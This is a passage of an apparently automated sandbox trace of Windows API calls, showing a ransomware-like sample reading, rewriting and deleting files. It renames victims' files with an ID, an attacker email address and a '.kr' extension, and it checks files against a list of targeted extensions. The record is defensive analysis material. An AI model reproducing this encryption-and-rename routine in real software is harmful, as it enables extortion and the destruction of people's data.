Flags=0x0, Size=0x100000) returned 0x338a020 [0078.602] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc260 [0078.603] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc260, Size=0x20) returned 0x47f280 [0078.603] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1e8 [0078.603] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1e8, Size=0x20) returned 0x47f078 [0078.603] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0078.603] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0078.603] Wow64DisableWow64FsRedirection (in: OldValue=0x2aaff50 | out: OldValue=0x2aaff50*=0x0) returned 1 [0078.603] lstrlenW (lpString="kernel32.dll") returned 12 [0078.603] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f280 | out: hHeap=0x440000) returned 1 [0078.603] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0078.603] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0078.603] Sleep (dwMilliseconds=0x64) [0078.967] lstrcmpiW (lpString1=".log", lpString2=".kr") returned 1 [0078.967] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0078.967] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0078.967] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=40) returned 1 [0078.967] CloseHandle (hObject=0x2d0) returned 1 [0078.967] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0078.968] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0078.968] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0078.968] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0078.968] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0078.968] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0078.968] GetLastError () returned 0x0 [0078.969] ReadFile (in: hFile=0x2d0, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x28, lpOverlapped=0x0) returned 1 [0079.020] WriteFile (in: hFile=0x2d4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x30, lpOverlapped=0x0) returned 1 [0079.021] ReadFile (in: hFile=0x2d0, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0079.021] WriteFile (in: hFile=0x2d4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x110, lpOverlapped=0x0) returned 1 [0079.021] SetEndOfFile (hFile=0x2d4) returned 1 [0079.022] CloseHandle (hObject=0x2d4) returned 1 [0079.526] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0079.548] SetEndOfFile (hFile=0x2d0) returned 1 [0079.549] CloseHandle (hObject=0x2d0) returned 1 [0079.550] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0079.550] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0079.550] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.550] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.550] lstrlenW (lpString=".doc") returned 4 [0079.550] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0079.550] lstrlenW (lpString=".docx") returned 5 [0079.550] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0079.550] lstrlenW (lpString=".pdf") returned 4 [0079.550] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0079.551] lstrlenW (lpString=".xls") returned 4 [0079.551] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0079.551] lstrlenW (lpString=".xlsx") returned 5 [0079.551] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0079.551] lstrlenW (lpString=".ppt") returned 4 [0079.551] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.551] lstrlenW (lpString=".zip") returned 4 [0079.551] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0079.551] lstrlenW (lpString=".rar") returned 4 [0079.551] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0079.551] lstrlenW (lpString=".bz2") returned 4 [0079.551] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0079.551] lstrlenW (lpString=".7z") returned 3 [0079.551] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.551] lstrlenW (lpString=".dbf") returned 4 [0079.551] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.551] lstrlenW (lpString=".1cd") returned 4 [0079.551] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.551] lstrlenW (lpString=".jpg") returned 4 [0079.551] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.551] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.552] lstrlenW (lpString=".doc") returned 4 [0079.552] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0079.552] lstrlenW (lpString=".docx") returned 5 [0079.552] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0079.552] lstrlenW (lpString=".pdf") returned 4 [0079.552] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0079.552] lstrlenW (lpString=".xls") returned 4 [0079.552] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0079.552] lstrlenW (lpString=".xlsx") returned 5 [0079.552] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0079.552] lstrlenW (lpString=".ppt") returned 4 [0079.552] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0079.552] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.552] lstrlenW (lpString=".zip") returned 4 [0079.552] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0079.552] lstrlenW (lpString=".rar") returned 4 [0079.552] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0079.552] lstrlenW (lpString=".bz2") returned 4 [0079.552] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0079.552] lstrlenW (lpString=".7z") returned 3 [0079.552] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0079.552] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.552] lstrlenW (lpString=".dbf") returned 4 [0079.552] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0079.552] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.552] lstrlenW (lpString=".1cd") returned 4 [0079.552] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0079.552] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0079.553] lstrlenW (lpString=".jpg") returned 4 [0079.553] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0079.553] Sleep (dwMilliseconds=0x64) [0081.395] Sleep (dwMilliseconds=0x64) [0082.187] Sleep (dwMilliseconds=0x64) [0083.806] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0083.806] lstrlenW (lpString="eula.rtf") returned 8 [0083.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.807] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3702) returned 1 [0083.807] CloseHandle (hObject=0x314) returned 1 [0083.807] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0083.807] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.807] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.807] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.807] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.807] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.810] GetLastError () returned 0x0 [0083.810] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xe76, lpOverlapped=0x0) returned 1 [0083.814] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe80, lpOverlapped=0x0) returned 1 [0083.815] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0083.816] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe4, lpOverlapped=0x0) returned 1 [0083.816] SetEndOfFile (hFile=0x318) returned 1 [0083.816] CloseHandle (hObject=0x318) returned 1 [0083.819] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.819] SetEndOfFile (hFile=0x314) returned 1 [0083.820] CloseHandle (hObject=0x314) returned 1 [0083.820] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.821] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0083.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.821] lstrlenW (lpString=".doc") returned 4 [0083.821] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.821] lstrlenW (lpString=".docx") returned 5 [0083.821] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.821] lstrlenW (lpString=".pdf") returned 4 [0083.821] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.821] lstrlenW (lpString=".xls") returned 4 [0083.821] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.821] lstrlenW (lpString=".xlsx") returned 5 [0083.821] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.821] lstrlenW (lpString=".ppt") returned 4 [0083.821] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString=".zip") returned 4 [0083.822] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.822] lstrlenW (lpString=".rar") returned 4 [0083.822] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString=".bz2") returned 4 [0083.822] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString=".7z") returned 3 [0083.822] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString=".dbf") returned 4 [0083.822] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString=".1cd") returned 4 [0083.822] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString=".jpg") returned 4 [0083.822] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.822] lstrlenW (lpString=".doc") returned 4 [0083.822] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.822] lstrlenW (lpString=".docx") returned 5 [0083.822] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.822] lstrlenW (lpString=".pdf") returned 4 [0083.822] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString=".xls") returned 4 [0083.823] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0083.823] lstrlenW (lpString=".xlsx") returned 5 [0083.823] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0083.823] lstrlenW (lpString=".ppt") returned 4 [0083.823] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.823] lstrlenW (lpString=".zip") returned 4 [0083.823] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0083.823] lstrlenW (lpString=".rar") returned 4 [0083.823] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString=".bz2") returned 4 [0083.823] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString=".7z") returned 3 [0083.823] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.823] lstrlenW (lpString=".dbf") returned 4 [0083.823] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.823] lstrlenW (lpString=".1cd") returned 4 [0083.823] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0083.823] lstrlenW (lpString=".jpg") returned 4 [0083.823] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.824] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0083.824] lstrlenW (lpString="LocalizedData.xml") returned 17 [0083.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.824] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=77022) returned 1 [0083.824] CloseHandle (hObject=0x314) returned 1 [0083.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0083.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.824] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.825] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.825] GetLastError () returned 0x0 [0083.825] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x12cde, lpOverlapped=0x0) returned 1 [0083.829] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0083.831] ReadFile (in: hFile=0x314, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0083.831] WriteFile (in: hFile=0x318, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0083.832] SetEndOfFile (hFile=0x318) returned 1 [0083.832] CloseHandle (hObject=0x318) returned 1 [0083.835] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0083.835] SetEndOfFile (hFile=0x314) returned 1 [0083.836] CloseHandle (hObject=0x314) returned 1 [0083.836] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0083.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.837] lstrlenW (lpString=".doc") returned 4 [0083.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.837] lstrlenW (lpString=".docx") returned 5 [0083.837] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0083.837] lstrlenW (lpString=".pdf") returned 4 [0083.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.837] lstrlenW (lpString=".xls") returned 4 [0083.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.837] lstrlenW (lpString=".xlsx") returned 5 [0083.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0083.837] lstrlenW (lpString=".ppt") returned 4 [0083.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString=".zip") returned 4 [0083.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.838] lstrlenW (lpString=".rar") returned 4 [0083.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString=".bz2") returned 4 [0083.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString=".7z") returned 3 [0083.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString=".dbf") returned 4 [0083.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString=".1cd") returned 4 [0083.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString=".jpg") returned 4 [0083.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.838] lstrlenW (lpString=".doc") returned 4 [0083.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString=".docx") returned 5 [0083.838] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0083.838] lstrlenW (lpString=".pdf") returned 4 [0083.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.838] lstrlenW (lpString=".xls") returned 4 [0083.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString=".xlsx") returned 5 [0083.839] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0083.839] lstrlenW (lpString=".ppt") returned 4 [0083.839] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.839] lstrlenW (lpString=".zip") returned 4 [0083.839] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.839] lstrlenW (lpString=".rar") returned 4 [0083.839] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString=".bz2") returned 4 [0083.839] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString=".7z") returned 3 [0083.839] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.839] lstrlenW (lpString=".dbf") returned 4 [0083.839] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.839] lstrlenW (lpString=".1cd") returned 4 [0083.839] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0083.839] lstrlenW (lpString=".jpg") returned 4 [0083.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.840] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0083.840] lstrlenW (lpString="eula.rtf") returned 8 [0083.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.840] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3526) returned 1 [0083.840] CloseHandle (hObject=0x314) returned 1 [0083.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0083.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0083.841] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, 